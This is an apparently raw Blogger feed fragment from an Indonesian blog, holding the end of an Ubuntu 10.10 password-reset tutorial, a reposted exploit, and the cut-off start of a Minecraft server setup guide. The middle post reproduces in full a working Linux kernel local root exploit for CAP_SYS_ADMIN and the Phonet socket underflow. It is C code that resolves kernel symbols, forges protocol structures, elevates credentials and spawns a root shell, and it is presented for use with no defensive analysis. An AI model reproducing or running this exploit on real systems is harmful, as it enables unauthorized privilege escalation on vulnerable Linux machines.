#f1c232;"&gt;lab&lt;/span&gt;&lt;/span&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;img src="http://1.bp.blogspot.com/_2ArRz4Y2WvY/TEq-tDFYmiI/AAAAAAAABgw/jNeQhUU-MSw/s400/4.jpg" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;Pada "&lt;i&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;Enter new UNIX password:&lt;/span&gt;&lt;/i&gt;" silahkan ketik password yang anda inginkan lalu tekan enter.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;Ulangi lagi dengan memasukkan password yang sama pada "&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;Retype new UNIX password:&lt;/span&gt;&lt;/span&gt;" lalu&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;tekan enter,, teret,,,berhasil dech,, lihat gambarnya dulu&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;img src="http://3.bp.blogspot.com/_2ArRz4Y2WvY/TEq-tVmtNNI/AAAAAAAABg4/WCt7aDla1xE/s400/5.jpg" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;passwd: password updated successfully&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;nah mncul pesan succesfully kan,,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;oke dah itu dia special edition for ubuntu 10.10 recovery password,,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;eits ini cara singkat,, tapi kalo grub yang kita setting itu loadingnya 0 s,, wah&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;hancur dah,, yang itu mesti pake live dvd/usb itu,,,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;tapi tenang aja,, oke ,, semuanya pasti bisa kita lakuin,, kalo kita terus berjuang,,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;hehehe,, go o2nri2 oke&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-1102001049753900174?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/1102001049753900174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/reset-password-ubuntu-1010-ala-oz.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1102001049753900174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1102001049753900174'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/reset-password-ubuntu-1010-ala-oz.html' title='Reset password ubuntu 10.10 ala oz'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2ArRz4Y2WvY/TEq-sMZubmI/AAAAAAAABgY/QHfTb5mgjaA/s72-c/1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3582516529835268700</id><published>2011-01-15T16:15:00.000+07:00</published><updated>2011-01-15T16:15:17.159+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) &gt;&gt; exploit db</title><content type='html'>&lt;pre&gt;/*&lt;br /&gt; * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)&lt;br /&gt; * by Joe Sylve&lt;br /&gt; * @jtsylve on twitter&lt;br /&gt; *&lt;br /&gt; * Released: Jan 7, 2011&lt;br /&gt; *&lt;br /&gt; * Based on the bug found by Dan Rosenberg (@djrbliss)&lt;br /&gt; * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/&lt;br /&gt; * &lt;br /&gt; * Usage:&lt;br /&gt; * gcc -w caps-to-root2.c -o caps-to-root2&lt;br /&gt; * sudo setcap cap_sys_admin+ep caps-to-root2&lt;br /&gt; * ./caps-to-root2&lt;br /&gt; *&lt;br /&gt; * Kernel Version &amp;gt;= 2.6.34 (untested on earlier versions)&lt;br /&gt; *&lt;br /&gt; * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit&lt;br /&gt; *&lt;br /&gt; * This exploit takes advantage of the same underflow as the original,&lt;br /&gt; * but takes a different approach.  Instead of underflowing into userspace&lt;br /&gt; * (which doesn't work on 64-bit systems and is a lot of work), I underflow &lt;br /&gt; * to some static values inside of the kernel which are referenced as pointers&lt;br /&gt; * to userspace.  This method is pretty simple and seems to be reliable.&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;&lt;br /&gt;// Skeleton Structures of the Kernel Structures we're going to spoof&lt;br /&gt;struct proto_ops_skel {&lt;br /&gt; int family;&lt;br /&gt; void  *buffer1[8];&lt;br /&gt; int (*ioctl)(void *, int, long);&lt;br /&gt; void  *buffer2[12];&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct phonet_protocol_skel {&lt;br /&gt; void *ops;&lt;br /&gt; void *prot;&lt;br /&gt; int sock_type; &lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#ifdef __x86_64__ &lt;br /&gt;&lt;br /&gt;#define SYM_NAME "local_port_range"&lt;br /&gt;#define SYM_ADDRESS 0x0000007f00000040&lt;br /&gt;#define SYM_OFFSET 0x0&lt;br /&gt;&lt;br /&gt;typedef int (* _commit_creds)(unsigned long cred);&lt;br /&gt;typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);&lt;br /&gt;&lt;br /&gt;#else //32-bit&lt;br /&gt;&lt;br /&gt;#define SYM_NAME "pn_proto"&lt;br /&gt;#define SYM_ADDRESS 0x4e4f4850&lt;br /&gt;#define SYM_OFFSET 0x90&lt;br /&gt;&lt;br /&gt;typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);&lt;br /&gt;typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_commit_creds commit_creds;&lt;br /&gt;_prepare_kernel_cred prepare_kernel_cred;&lt;br /&gt;&lt;br /&gt;int getroot(void * v, int i, long l)&lt;br /&gt;{&lt;br /&gt; commit_creds(prepare_kernel_cred(0));&lt;br /&gt; return 0;      &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* thanks spender... */&lt;br /&gt;unsigned long get_kernel_sym(char *name)&lt;br /&gt;{&lt;br /&gt; FILE *f;&lt;br /&gt; unsigned long addr;&lt;br /&gt; char dummy;&lt;br /&gt; char sname[512];&lt;br /&gt; int ret;&lt;br /&gt;&lt;br /&gt; char command[512];&lt;br /&gt;&lt;br /&gt; sprintf(command, "grep \"%s\" /proc/kallsyms", name);&lt;br /&gt;&lt;br /&gt; f = popen(command, "r");&lt;br /&gt;&lt;br /&gt; while(ret != EOF) {&lt;br /&gt;  ret = fscanf(f, "%p %c %s\n", (void **) &amp;amp;addr, &amp;amp;dummy, sname);&lt;br /&gt;&lt;br /&gt;  if (ret == 0) {&lt;br /&gt;   fscanf(f, "%s\n", sname);&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if (!strcmp(name, sname)) {&lt;br /&gt;&lt;br /&gt;   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);&lt;br /&gt;   pclose(f);&lt;br /&gt;   return addr;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; pclose(f);&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char * argv[])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt; int sock, proto;&lt;br /&gt; unsigned long proto_tab, low_kern_sym, pn_proto;&lt;br /&gt; void * map;&lt;br /&gt;&lt;br /&gt; /* Create a socket to load the module for symbol support */&lt;br /&gt; printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");&lt;br /&gt; sock = socket(PF_PHONET, SOCK_DGRAM, 0);&lt;br /&gt;&lt;br /&gt; if(sock &amp;lt; 0) {&lt;br /&gt;  if(errno == EPERM)&lt;br /&gt;   printf("[*] You don't have CAP_SYS_ADMIN.\n");&lt;br /&gt;&lt;br /&gt;  else&lt;br /&gt;   printf("[*] Failed to open Phonet socket.\n");&lt;br /&gt;&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; close(sock);&lt;br /&gt;&lt;br /&gt; /* Resolve kernel symbols */&lt;br /&gt; printf("[*] Resolving kernel symbols...\n");&lt;br /&gt;&lt;br /&gt; proto_tab = get_kernel_sym("proto_tab");&lt;br /&gt; low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;&lt;br /&gt; pn_proto =  get_kernel_sym("pn_proto");&lt;br /&gt; commit_creds = (void *) get_kernel_sym("commit_creds");&lt;br /&gt; prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");&lt;br /&gt;&lt;br /&gt; if(!proto_tab || !commit_creds || !prepare_kernel_cred) {&lt;br /&gt;  printf("[*] Failed to resolve kernel symbols.\n");&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (low_kern_sym &amp;gt;= proto_tab) {&lt;br /&gt;  printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /* Map it */&lt;br /&gt; printf("[*] Preparing fake structures...\n");&lt;br /&gt;&lt;br /&gt; const struct proto_ops_skel fake_proto_ops2 = {&lt;br /&gt;   .family  = AF_PHONET, &lt;br /&gt;   .ioctl  = &amp;amp;getroot,&lt;br /&gt; };  &lt;br /&gt;&lt;br /&gt; struct phonet_protocol_skel pps = {&lt;br /&gt;   .ops = (void *) &amp;amp;fake_proto_ops2,&lt;br /&gt;   .prot = (void *) pn_proto,&lt;br /&gt;   .sock_type = SOCK_DGRAM,&lt;br /&gt; };&lt;br /&gt;&lt;br /&gt; printf("[*] Copying Structures.\n");&lt;br /&gt;&lt;br /&gt; map = mmap((void *) SYM_ADDRESS, 0x1000,&lt;br /&gt;   PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);&lt;br /&gt;&lt;br /&gt; if(map == MAP_FAILED) {&lt;br /&gt;  printf("[*] Failed to map landing area.\n");&lt;br /&gt;  perror("mmap");&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; memcpy((void *) SYM_ADDRESS, &amp;amp;pps, sizeof(pps));&lt;br /&gt;&lt;br /&gt; // Calculate Underflow&lt;br /&gt; proto = -((proto_tab - low_kern_sym) / sizeof(void *));&lt;br /&gt;&lt;br /&gt; printf("[*] Underflowing with offset %d\n", proto);&lt;br /&gt;&lt;br /&gt; sock = socket(PF_PHONET, SOCK_DGRAM, proto);&lt;br /&gt;&lt;br /&gt; if(sock &amp;lt; 0) {&lt;br /&gt;  printf("[*] Underflow failed :-(.\n");&lt;br /&gt;  return -1;&lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; printf("[*] Elevating privlidges...\n");&lt;br /&gt; ioctl(sock, 0, NULL);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; if(getuid()) {&lt;br /&gt;  printf("[*] Exploit failed to get root.\n");&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; printf("[*] This was a triumph... I'm making a note here, huge success.\n");&lt;br /&gt; execl("/bin/sh", "/bin/sh", NULL);&lt;br /&gt;&lt;br /&gt; close(sock);&lt;br /&gt; munmap(map, 0x1000);&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3582516529835268700?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3582516529835268700/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/linux-kernel-capsysadmin-to-root.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3582516529835268700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3582516529835268700'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/linux-kernel-capsysadmin-to-root.html' title='Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) &gt;&gt; exploit db'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-2805155785254847814</id><published>2011-01-15T16:10:00.000+07:00</published><updated>2011-01-15T16:10:32.283+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/programming'/><title type='text'>Melakukan setup sebuah Minecraft Server dengan cepet &gt;&gt; 6 step</title><content type='html'>&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; color: lime; font-family: 'Courier New', Courier, monospace; font-size: 13px;"&gt;Assaalamualaikum war,wab,&lt;br /&gt;&lt;br /&gt;Baik disini kita akan sama-sama belajar bersama cara untuk melakukan setup server minecraft,, jika belum tahu soal minecraft sedikit dari saya minecraft itu permainan sandbox dengan grafik yang usang.&lt;br /&gt;Ini sedang dalam alpha tapi itu masih sangat menyenangkan dan sangat adiktif,, seru abiz,,dah,, ok kota langsung aja ok..&lt;br /&gt;&lt;br /&gt;Persyaratan:&lt;br /&gt;&lt;br /&gt;# Sebuah mesin Linux [VPS / DEDICATED SERVER]&lt;br /&gt;# Koneksi Internet&lt;br /&gt;# Putty (Memungkinkan Anda untuk terhubung melalui SSH ke mesin Linux Anda&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sebelum kita mulai, saya ingin mengingatkan kalau ini untuk target yang kurang akrab dengan keluarga NIX*.&lt;br /&gt;Baik kita masuk ke cara kerja yang sederhana ini&lt;br /&gt;1) Login ke mesin Linux Anda, Segera yang dituju adalaha console:&lt;br /&gt;input command:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; color: lime; font-family: 'Courier New', Courier, monospace; font-size: 13px;"&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# which java&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Perintah tersebut untuk mengecek ada atau tidaknya java dalam PC kita&lt;br /&gt;&lt;br /&gt;&lt;img alt="[Image: 2iu59g0.png]" border="0" src="http://i52.tinypic.com/2iu59g0.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;(Pada mesin saya disini, tidak ada Java yang terinstal .. Jadi, mari kita bersiap untuk menginstall Java kita &amp;lt; jangan opera van java ya &amp;gt;)&lt;br /&gt;&lt;br /&gt;a) Instalasi Java&lt;br /&gt;&lt;br /&gt;Jalankan perintah ini:&amp;nbsp;&lt;img alt="Senang" border="0" src="/images/kucink/senang.gif" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; vertical-align: middle;" title="Senang" /&gt;&lt;img alt="Hi" border="0" src="/images/kucink/hi.gif" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; vertical-align: middle;" title="Hi" /&gt;&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# yum install java-1.6.0-OpenJDK&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Ini akan menginstal Java 1.6.(versinya bisa kita ganti semau kita, namun disini saya memberikannya hanya sebagai contoh dari tutorial yang akan saya sharing dengan teman-teman, kalau pakai debian tinggal diganti saja yum dengan apt-get install ok..&lt;br /&gt;&lt;br /&gt;Mari kita lakukan hal itu, nanti akan ada pertanyaan yang akan meminta Anda untuk memberikan hak akses atau izin kita untuk menginstal, hanya menjawab dengan "y" untuk ya, kalau kita tidak ingin meneruskannya "N" saja agar prossesnya dibatalkan.&lt;br /&gt;&lt;br /&gt;b) Allright, java sudah terinstall di PC kita - mari kita bergegas untuk memeriksanya sekarang.&lt;br /&gt;&lt;br /&gt;&lt;img alt="[Image: sqqhao.png]" border="0" src="http://i51.tinypic.com/sqqhao.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;Gunakan perintah which java kembali :&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# which java&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Baiklah, sekarang kita akan mencoba cari tahu dimana letak dari file java tersebut, yups,, teman-teman betul sekali lokasinya adalah pada &amp;gt; /usr/bin/java/.&lt;br /&gt;&lt;br /&gt;Selanjutnya masih berlanjut dengan yang tadi,&lt;br /&gt;gunakan code:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# /Usr/bin/java/ -versi&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;HMMmmm,,,,&lt;br /&gt;sepertinya ada masalah mesin ini menyatakan kalau versi java saya adalah versi 1.4.2, Supaya tidak membuat bingung lanjutkan saja dengan java yang sudah terinstall tadi, dan kita mungkin akan menggunakan versi 1.6..huftttt&lt;br /&gt;&lt;br /&gt;Ya kita butuh versi 1.6.&lt;br /&gt;&lt;br /&gt;2) Baiklah, sekarang kita akan membuat direktori hanya untuk Minecraft.&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# mkdir minecraft&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;img alt="[Image: 546dq8.png]" border="0" src="http://i52.tinypic.com/546dq8.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;3) Sekarang mari kita jump kedalam direktori yang baru dibuat minecraft;&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# cd minecraft&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="[Image: 330yd68.png]" border="0" src="http://i51.tinypic.com/330yd68.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;4) Sekarang mari kita download file jar. Untuk Minecraft.&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: black; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(0, 255, 0); border-bottom-style: dashed; border-bottom-width: 3px; border-left-color: rgb(0, 255, 0); border-left-style: dashed; border-left-width: 3px; border-right-color: rgb(0, 255, 0); border-right-style: dashed; border-right-width: 3px; border-top-color: rgb(0, 255, 0); border-top-style: dashed; border-top-width: 3px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(0, 255, 0); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 